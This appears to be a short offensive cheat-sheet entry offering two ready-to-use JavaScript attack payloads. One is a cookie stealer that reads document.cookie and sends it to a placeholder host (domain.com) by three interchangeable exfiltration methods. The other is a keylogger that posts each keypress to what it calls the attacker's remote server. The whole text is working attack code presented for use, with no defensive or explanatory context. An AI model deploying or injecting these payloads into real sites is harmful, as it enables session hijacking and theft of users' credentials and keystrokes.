Javascript cookie stealer (could be paired with keylogger below)
Multiple methods have been included below for exfiltration, choose only one
function ajaxRequest (method, url, data, ad) {
var xmlHttp = new XMLHttpRequest()
if (xmlHttp.overrideMimeType) {
xmlHttp.overrideMimeType('text/plain; charset=x-user-defined')
}
xmlHttp.open(method, url, true)
if (ad) {
xmlHttp.onreadystatechange = function () {
if (xmlHttp.readyState === 4) {
ad(xmlHttp)
}
}
}
xmlHttp.send(data)
return xmlHttp
}
var CookieExfil = function () {}
var c = document.cookie
//Include one of the three exfil methods below:
//GET request - AJAX
var i = new Image()
ajaxRequest('GET', 'https://domain.com?c=' + encodeURIComponent(c), undefined, CookieExfil)
//GET request DOM
var i = new Image()
i.src = 'https://domain.com?c=' + encodeURIComponent(c)
CookieExfil()
//POST request - AJAX
ajaxRequest('POST', 'https://domain.com', 'cookie=' + encodeURIComponent(c), CookieExfil)
Key logger
Log keystrokes made to attackers remote server
function ajaxRequest (method, url, data, ad) {
var xmlHttp = new XMLHttpRequest()
if (xmlHttp.overrideMimeType) {
xmlHttp.overrideMimeType('text/plain; charset=x-user-defined')
}
xmlHttp.open(method, url, true)
if (ad) {
xmlHttp.onreadystatechange = function () {
if (xmlHttp.readyState === 4) {
ad(xmlHttp)
}
}
}
xmlHttp.send(data)
return xmlHttp
}
document.addEventListener('keypress', function (e) {
ajaxRequest('POST', 'https://domain.com/Log', 'key=' + e.key)
})